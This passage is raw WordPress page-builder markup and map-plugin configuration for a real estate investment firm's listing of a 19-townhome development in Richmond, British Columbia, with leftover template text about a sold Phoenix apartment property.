_builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\"]$5,600,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" admin_label=\"Section OLD\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\" collapsed=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_0 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_0 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_0 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11522\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_1 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg 1305w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-1280x823.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-980x630.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4-480x309.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1305px, 100vw\" class=\"wp-image-11523\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_2 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg 1300w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1300px, 100vw\" class=\"wp-image-11524\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_3 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg\" alt=\"Screenshot_3\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-1280x826.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-980x632.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_3-480x310.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11525\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_4 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg\" alt=\"Screenshot_2\" title=\"BlueWater Apartment Homes\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2.jpg 1302w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-1280x830.jpg 1280w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-980x635.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_2-480x311.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) and (max-width: 1280px) 1280px, (min-width: 1281px) 1302px, 100vw\" class=\"wp-image-11526\" \/><\/span>nttt<\/div>nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_1 section-location-main-v2 et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_1 row-header\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_post_title et_pb_post_title_0 et_pb_bg_layout_light  et_pb_text_align_left\"   >nttttnttttnttttntttt<div class=\"et_pb_title_container\">nttttt<h1 class=\"entry-title\">Kadium No4 Road TownHomes<\/h1>ntttt<\/div>nttttnttt<\/div><div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Richmond, British Columbia<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_2 row-location-info et_pb_gutters1\">ntttt<div class=\"et_pb_column et_pb_column_1_6 et_pb_column_2  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Minimum<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_2  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_3  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_3  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Distributions <\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Annualized Returns<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Target Hold<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_8  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">&#8211;<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_9  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Property Type<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_10  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Ground-up Development<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_6 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_11  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Asset Class<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_12  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Class A<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_3 row-overview et_pb_gutters3\">ntttt<div class=\"et_pb_column et_pb_column_1_2 et_pb_column_8  et_pb_css_mix_blend_mode_passthrough\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_13  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">Overview<br \/>n19 TownHome development located in the family oriented central location of Richmond, a suburb of Vancouver. Projected completion is early 2023. The project is pre-selling in 2021.<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column --><div class=\"et_pb_column et_pb_column_1_2 et_pb_column_9  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_14 invested-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">100% Invested<\/div>nttt<\/div> <!-- .et_pb_text --><div class=\"et_pb_module et_pb_text et_pb_text_15 equity-module  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\">$5,600,000 Equity<\/div>nttt<\/div> <!-- .et_pb_text -->nttt<\/div> <!-- .et_pb_column -->nttttnttttnttt<\/div> <!-- .et_pb_row -->nttttnttttnttt<\/div> <!-- .et_pb_section --><div class=\"et_pb_section et_pb_section_2 section-location-map et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_4\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_10  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_text et_pb_text_16  et_pb_text_align_left et_pb_bg_layout_light\">nttttnttttntttt<div class=\"et_pb_text_inner\"><div class=\"wpgmp_map_container wpgmp-map-7\" rel=\"map7\"><div class=\"wpgmp_map_parent\"><div class=\"wpgmp_map \" style=\"width:100%; height:450px;\" id=\"map7\" ><\/div><\/div><\/div><style> .wpgmp-map-7  .wpgmp_infowindow .fc-item-title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:700;font-size:16px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:5px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .wpgmp_locations{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgba(0, 0, 0, 0.87);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:none solid rgba(0, 0, 0, 0.87);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;} .wpgmp-map-7 .place_title{background-image:none;font-family:-apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, Oxygen-Sans, Ubuntu, Cantarell, \"Helvetica Neue\", sans-serif;font-weight:400;font-size:15px;color:rgb(0, 115, 170);line-height:21.4286px;background-color:rgba(0, 0, 0, 0);font-style:normal;text-align:start;text-decoration:underline solid rgb(0, 115, 170);margin-top:0px;margin-bottom:0px;margin-left:0px;margin-right:0px;padding-top:0px;padding-bottom:0px;padding-left:0px;padding-right:0px;}<\/style><script>jQuery(document).ready(function($) {var map7 = $(\"#map7\").maps({\"map_options\":{\"center_lat\":\"49.13664139999999\",\"center_lng\":\"-123.1139252\",\"zoom\":10,\"map_type_id\":\"ROADMAP\",\"center_by_nearest\":false,\"fit_bounds\":false,\"center_circle_fillcolor\":\"#8CAEF2\",\"center_circle_fillopacity\":\".5\",\"center_circle_strokecolor\":\"#8CAEF2\",\"center_circle_strokeopacity\":\".5\",\"show_center_circle\":false,\"show_center_marker\":false,\"center_marker_icon\":\"http:\/\/wes.webzz.pro\/wp-content\/plugins\/wp-google-map-gold\/assets\/images\/\/default_marker.png\",\"center_circle_strokeweight\":\"1\",\"draggable\":true,\"scroll_wheel\":\"true\",\"gesture\":\"auto\",\"marker_default_icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\",\"infowindow_setting\":\"<div class=\"fc-main\">n<div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div>n<div class=\"fc-item-featured_image\">{marker_image} <\/div>n<p>{marker_message}<\/p>n<address><b>Address : <\/b>{marker_address}<\/address>n<\/div>n\",\"infowindow_geotags_setting\":\"<div class=\"post_body\">n<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>n<div class=\"location-description\">n<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>n<table class=\"address\" \"=\"\">n<tbody>n<tr>n<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>n<td>{marker_address}<\/td>n<\/tr>n<\/tbody>n<\/table>n<div class=\"category\"><span>{post_categories}<\/span><\/div>n<\/div>n<\/div>n\",\"infowindow_skin\":{\"name\":\"default\",\"type\":\"infowindow\",\"sourcecode\":\"<div class=\"fc-main\"><div class=\"fc-item-title\">{marker_title} <span class=\"fc-badge info\">{marker_category}<\/span><\/div> <div class=\"fc-item-featured_image\">{marker_image} <\/div>{marker_message}<address><b>Address : <\/b>{marker_address}<\/address><\/div>\"},\"infowindow_post_skin\":{\"name\":\"default\",\"type\":\"post\",\"sourcecode\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"{post_link}\">{post_featured_image}<\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"{post_link}\">{post_title}<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>{post_categories}<\/span><\/div>rn<\/div>rn<\/div>\"},\"infowindow_drop_animation\":false,\"close_infowindow_on_map_click\":false,\"default_infowindow_open\":false,\"infowindow_open_event\":\"click\",\"infowindow_filter_only\":false,\"infowindow_click_change_zoom\":0,\"infowindow_click_change_center\":false,\"full_screen_control\":true,\"search_control\":true,\"zoom_control\":true,\"map_type_control\":true,\"street_view_control\":true,\"locateme_control\":false,\"mobile_specific\":false,\"zoom_mobile\":5,\"draggable_mobile\":true,\"scroll_wheel_mobile\":true,\"full_screen_control_position\":\"TOP_RIGHT\",\"search_control_position\":\"TOP_LEFT\",\"locateme_control_position\":\"TOP_LEFT\",\"zoom_control_position\":\"TOP_LEFT\",\"map_type_control_position\":\"TOP_RIGHT\",\"map_type_control_style\":\"HORIZONTAL_BAR\",\"street_view_control_position\":\"TOP_LEFT\",\"map_control\":false,\"screens\":{\"smartphones\":{\"map_zoom_level_mobile\":\"5\"},\"ipads\":{\"map_zoom_level_mobile\":\"5\"},\"large-screens\":{\"map_zoom_level_mobile\":\"5\"}},\"map_infowindow_customisations\":false,\"infowindow_width\":\"100%\",\"infowindow_border_color\":\"rgba(0, 0, 0, 0.0980392)\",\"infowindow_bg_color\":\"#fff\",\"show_infowindow_header\":false,\"min_zoom\":\"0\",\"max_zoom\":\"19\",\"zoom_level_after_search\":\"10\",\"url_filters\":false,\"doubleclickzoom\":false,\"bound_map_after_filter\":false,\"display_reset_button\":false,\"map_reset_button_text\":\"Reset\",\"height\":\"450\"},\"places\":[{\"source\":\"post\",\"title\":\"Kadium No4 Road TownHomes\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\"><div class=\"fc-feature-img\"><img alt=\"BlueWater Apartment Homes\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/BlueWater-Apartment-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\">Kadium No4 Road TownHomes<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"content\":\"\",\"address\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"location\":{\"lat\":\"49.13664139999999\",\"city\":\"Richmond\",\"state\":\"British Columbia\",\"country\":\"Canada\",\"lng\":\"-123.1139252\",\"redirect_custom_link\":\"\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image.jpg\" alt=\"1_image\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_4.jpg\" alt=\"Screenshot_4\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Screenshot_1.jpg\" alt=\"Screenshot_1\" title_text=\"BlueWater Apartment Homes\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image 